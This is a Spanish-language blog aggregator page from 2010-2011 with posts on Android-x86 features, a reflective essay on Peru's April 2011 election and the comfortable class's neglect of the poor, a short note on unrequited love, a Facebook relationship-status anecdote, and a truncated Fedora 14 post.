Pueden descargar el ISO de instalación desde http://www.android-x86.org/download, yo lo he instalado en una máquina virtual en el cual funciona perfectamente, pueden instalarlo en el disco duro o arrancarlo en modo live, nos crea un entorno multi-arranque GRUB, soporta sistemas de archivos ext3, ext2, ntfs, fat32.

Entre otras funcionalidades que han sido adaptadas y agregadas al clásico Android para móbiles podemos mencionar:

  • Kernel 2.6.35.7 – KMS.
  • Soporte para Bluetooth,Wifi, Ethernet
  • Instalador Mejorado
  • Soporte para medir Estado de Bateria
  • Soporte para Mouse
  • Soporte para Netbook
  • Soporte para Audio (ALSA)
  • Soporte para Cámara – V4l2
  • Soporte para monitor externo
  • Soporte para medios de almacenamiento externos
  • Soporte para teclado externo

Pueden encontrar mayor información en la página del proyecto Android-x86 y estar al tanto de los avances que se realicen al respecto.


Archivado en: Sistemas Operativos

Martes 12 de abril de 2011

Fernando Gutierrez

Fernando Gutierrez
Xbito Blog

La culpa la tengo yo, y tu tambien.

Con el peligro de ser repetitivo, ya que creo han habido varios escritos de este tipo hoy, voy a comentar los resultados de la eleccion del 10 de abril.

Han habido comentarios de todo calibre, racistas, subidos de tono, de rabia, indignacion, y muchos provocados por una ceguera monumental y un no querer darse cuenta de cual es la realidad en la que vivimos. Yo los he tomado con resignacion, ciertamente con pena y con una cuota bastante grande de arrepentimiento. Mi voto fue por PPK porque creo en el modelo economico y creo en sus capacidades como potencial gobernante. El Peru, obviamente, voto en el otro sentido.

Es hora que los que estabamos a la derecha nos preguntemos por que? Antes de entrar a los motivos quiero mencionar algo de lo que me he convencido en este dia de reflexion. Los de la derecha no perdimos esta eleccion ayer, ni la semana pasada, la venimos perdiendo hace mas de 10 años. Y el explicar por que creo que ha sido un proceso tan largo nos llevara a tener claros por que es perdimos la eleccion de ayer los Castañedas, Toledos y PPKausas.

No hay duda que este camino de privatizaciones, libre mercado, poca regulacion y gran impulso a las inversiones nos ha hecho crecer. El crecimiento se hace evidente no solo en Lima (eso es algo que han destacado muchos ciegos), basta pasearse por el norte del pais en varias capitales departamentales y veremos mucho parecido a nuestra capital en infraestructura comercial y de comunicaciones. Tambien se hace evidente que hoy hay muchas mas empresas y hay mas oportunidades para esa "clase media" a la que muchos pertenecemos, hay mas trabajo, mas gente saliendo al extranjero a estudiar, mas productos que consumir, mas comodidades mas cerca de "nosotros". Y estos 15 años hemos vivido nuestra vida comodamente, viendo que la cosa progresaba.

Claro, nosotros percibimos crecimiento a nuestro alrededor, por tanto, al Peru le debe estar yendo mejor. Lamentablemente nosotros no somos todo el Peru. Y el resto del Peru no es una sarta de cholos ignorantes como mucha gente no ha dudado en calificar, no. El resto del Peru esta compuesta por una gran cantidad de personas con el mismo potencial que todos nosotros pero que vive ignorada. Ignorada por el gobierno? Probablemente no tanto como muchos han destacado entre ayer y hoy. Existen programas sociales que llegan a muchos de ellos, aunque probablemente se pueda hacer un mejor trabajo. Pero no, ese no es el motivo por el que perdimos la eleccion.

Perdimos la eleccion porque ni tu, ni yo, ni ninguno de los que vivimos comodamente esta buena epoca se dio el trabajo de alzar la cabeza y ver un poco mas alla de lo que llega nuestro circulo social, no nos dimos el trabajo de pensar que podiamos compartir nuestro bienestar con el projimo, no en el sentido catolico ni cristiano ni fanaticon, sino en el sentido de sociedad. Nos hubiera costado mucho decidirnos a apoyar a una causa social? Irnos a un colegio de un cono, pueblo joven, o alguno de los mas motivados, a alguna provincia alejada y preguntar, que puedo hacer por los que no disfrutan como yo de los beneficios de la derecha? No crees que sacarte algunos soles del bolsillo y apoyar a una causa de bien social hubiera hecho la diferencia?

Todo este tiempo ha sido mucho mas facil pensar que el gobierno se hace cargo de todo, pero en que parte del mundo se ha visto que el gobierno pueda hacerlo todo? Somos nosotros los que deberiamos sentir obligacion por ayudar en las partes a donde el gobierno no llega.

Un ejemplo que tal vez este dentro de lo que "nosotros" podemos comprender, la reconstruccion de Ica. Ha pasado tanto tiempo desde el terremoto y hay tanto aun por hacer. Un puñado de "nosotros" ha puesto el hombro en un techo para mi pais, ha sido suficiente? No! Es culpa del gobierno? Tienen muchas otras cosas mas en que ocuparse. Que distinto hubiera sido si en lugar de unas decenas de muchachos hubieramos tenido miles de personas organizadas ayudando a la gente al Sur. Pero no, mas facil es irse al sur a una juerga y olvidarnos que unos cuantos kilometros mas alla la gente sufrio un desastre y lo perdio todo. Yo si soy culpable de eso, y no fue culpa ni de Toledo, ni Castañeda, ni de PPK.

Y supongo que es una cuestion de costumbres, vivimos en una sociedad en la que los hijos se van de la casa de los padres muchas veces ya casados, bien pasados los 25, a veces hasta los 30. Y como entonces no vamos a esperar que un manto protector del gobierno se encargue de todas las cosas de las que nosotros no nos queremos encargar?

Algunos podran pensar que mas jovenes haciendo bien social no va a hacer la diferencia, pero yo si creo en las cadenas, acaso nuestros padres no estarian mas cerca de la realidad si es que nosotros nos interesaramos mas por todo el Peru? Acaso no verian algunos oportunidades de negocio, crecimiento y llevarian mayor bienestar a otras zonas en lugar de concentrarse en los lugares que ya conocen?

En estos ultimos 6 años opte por ser empresario, me haya ido bien o mal nunca tuve la decision real de ir a una universidad nacional y decirle a un profesor o rector que queria ir y darles una charla sobre lo que yo hacia, y ofrecerle a mi personal para que dicte talleres de programacion o diseño o seguridad. Nunca se me ocurrio buscar practicantes en una provincia y traerlos a Lima con todo pagado para que disfrute un poco mas de los beneficios de la derecha y que ese estudiante pueda regresar a su lugar de origen y compartir sus experiencias con los demas, inculcar un espiritu de oportunidad y crecimiento en su comunidad, en su "nosotros" y no solo en nuestro "nosotros".

Me parece ironico eso que muchas veces escuche en los ultimos años, que un obrero o gente que recibe sueldos minimos siempre tiene para su cerveza. Nosotros que tuvimos para mucho mas que una cerveza, para mucho mas que un fin de semana de juerga, para mucho mas de un viaje, muchas veces para irnos a Europa de paseo o a Cuzco de fin de semana, nosotros, no pudimos haber hecho mucho mas por nuestro Peru? Por nuestros compatriotas. Simplemente por los seres humanos que viven miserablemente no muy lejos de nosotros?

Y si no teniamos ganas de esforzarnos por ellos, de dar plata o ponerle esfuerzo a la cosa, no podriamos haber reclamado por ellos? No deberiamos haber alzado la voz por la gente que vive sin agua potable o sin electricidad? Sin acceso a la educacion o a un plan de salud? No deberiamos haber reclamado nosotros por ellos si sabiamos que existian? Pero no, mas simple es echarle la culpa a "la clase politica". Pensar que es el gobierno el que se debe ocupar de esas cosas, porque yo tengo cosas mas importantes. Si, trabajar es mas importante, educarte y progresar es mas importante, estar con tu familia, mejorar tu salud es mas importante, construir tu casa y hacer una familia es mas importante. Pero en 10 años, de verdad, no tuviste tiempo para hacer mas por los demas?

Es obvio que yo si tuve mucho tiempo para hacer mas y no lo hice, y es obvio que yo tengo la culpa que Humala tenga 30% y Keiko 20% mas, porque yo falle en llevar las virtudes de este modelo a los demas, y tu (aunque no quieras ver a los ignorados y prefieras calificarlos de ignorantes) tambien.

Martes 22 de febrero de 2011

Entrada de prueba

Para ver el planeta

Sábado 08 de enero de 2011

César Muñoz Albitres

César Muñoz Albitres
Blog de Cesar Muñoz

Hay Amores que matan.....

......el deber es renacer y fortalecerte ante cualquier adversidad.




no dejes que un amor no correspondido decida por ti, tu vida y tu futuro, keep on moving.

Jueves 25 de noviembre de 2010

Facebook...

Muchos geeks como yo ya habrán visto la película "The Social Network". Para los que no saben, esta pela trata de los inicios de facebook. Si bien, en muchas cosas esta dista de la realidad (tendría que escribir otro post para examinarla), nos plantea la manera como una gran aplicación pudo ser creada.
Los que me conocen mas, saben que en un principio yo no fui un devoto de las redes sociales. Comencé por HI5 cuando aún me encontraba en la universidad (supongo que en el 2004 o 2005) mas que todo por seguir una corriente. Me pareció simpático poder subir fotos y que los demas hagan comentarios de estas. Pero nunca llegue a completar totalmente los álbumes ni ha estar siempre pegado.
Luego vino Facebook. Ya me habia cansado del Hi5, y vi en facebook una interfaz gráfica mucho más ordenada y pulcra... lo notaba más enfocado en personas adultas. Es así como cree mi perfil de facebook alrededor del año 2008.
No le habia prestado mucha atención más que para ver fotos de mis amigos o ver algo que publican, hasta una noche donde ocurrio un suceso muy curioso.
Una tarde de casualidad deje mi cuenta cargada de facebook en una máquina, y salí. En ese lapso en que salí y llegue al babyshoer de una amiga, vi como me habían inundado de mensajes. El motivo, había comenzado una relación con mi amiga Andrea.
Muchos amigos me felicitaban y comentaban de mi "nueva" relación. Incluso hubo gente que se ofreció en salir en "parejitas". Obviamente todo era una falsedad.
Al día siguiente cambié mi estado y de nuevo una avalancha de mensajes. Ahora ya no me felicitaban, sino me invitaban a salir a tomar unos tragos por mi "ruptura".
La conclusión, cuán viral puede ser esta aplicación y cuanto efecto tiene en nuestras relaciones personales.
En estos momentos me encuentro hackeando una app para utilizarla con facebook.. mi meta es hacer un organizador de fotos de facebook... ya los mantendré al tanto.

Saludooos

Sábado 20 de noviembre de 2010

FEDORA 14, aqui sólo al mínimo de sus posibilidades…

Heme aqui M, Si a alguien le importa mis disculpas, gracias por aceptarlas… Despues de largo tiempo me ha dado por poner algo en este blog…algo de lo que a mi  me gusta y a millones de estructuras de carbono tambien… FEDORA 14 Es impresionante la sencillez y potencia de este sistema operativo, vale la […]